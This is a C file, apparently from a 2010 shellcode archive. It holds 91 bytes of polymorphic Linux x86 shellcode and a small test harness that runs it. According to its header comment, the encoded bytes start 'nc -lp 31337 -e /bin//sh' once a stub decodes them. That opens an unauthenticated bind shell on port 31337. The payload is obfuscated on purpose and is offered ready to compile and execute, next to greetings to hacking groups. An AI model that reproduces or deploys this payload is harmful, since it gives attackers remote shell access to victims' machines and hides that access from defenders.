/* Title : nc -lp 31337 -e /bin//sh polymorphic linux shellcode . Name : 91 bytes nc -lp 31337 -e /bin//sh polymorphic linux shellcode . Date : Mon Jul 5 16:58:50 WIT 2010 Author : gunslinger_ <yudha.gunslinger[at]gmail.com> Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com) greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !! */ #include <stdio.h> char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x43\x80\x6c\x0e\xff\x35\x80\xe9\x01" "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5" "\x40\x87\x9d\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87" "\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86\x88\xbe\x16\x02" "\xb5\x96\x1d\x29\x34\x34\x34\xa3\x98\x55\x62\xa1\xa5\x55\x68" "\x66\x68\x68\x6c\x55\x62\x9a\x55\x64\x97\x9e\xa3\x64\x64\xa8" "\x9d"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); }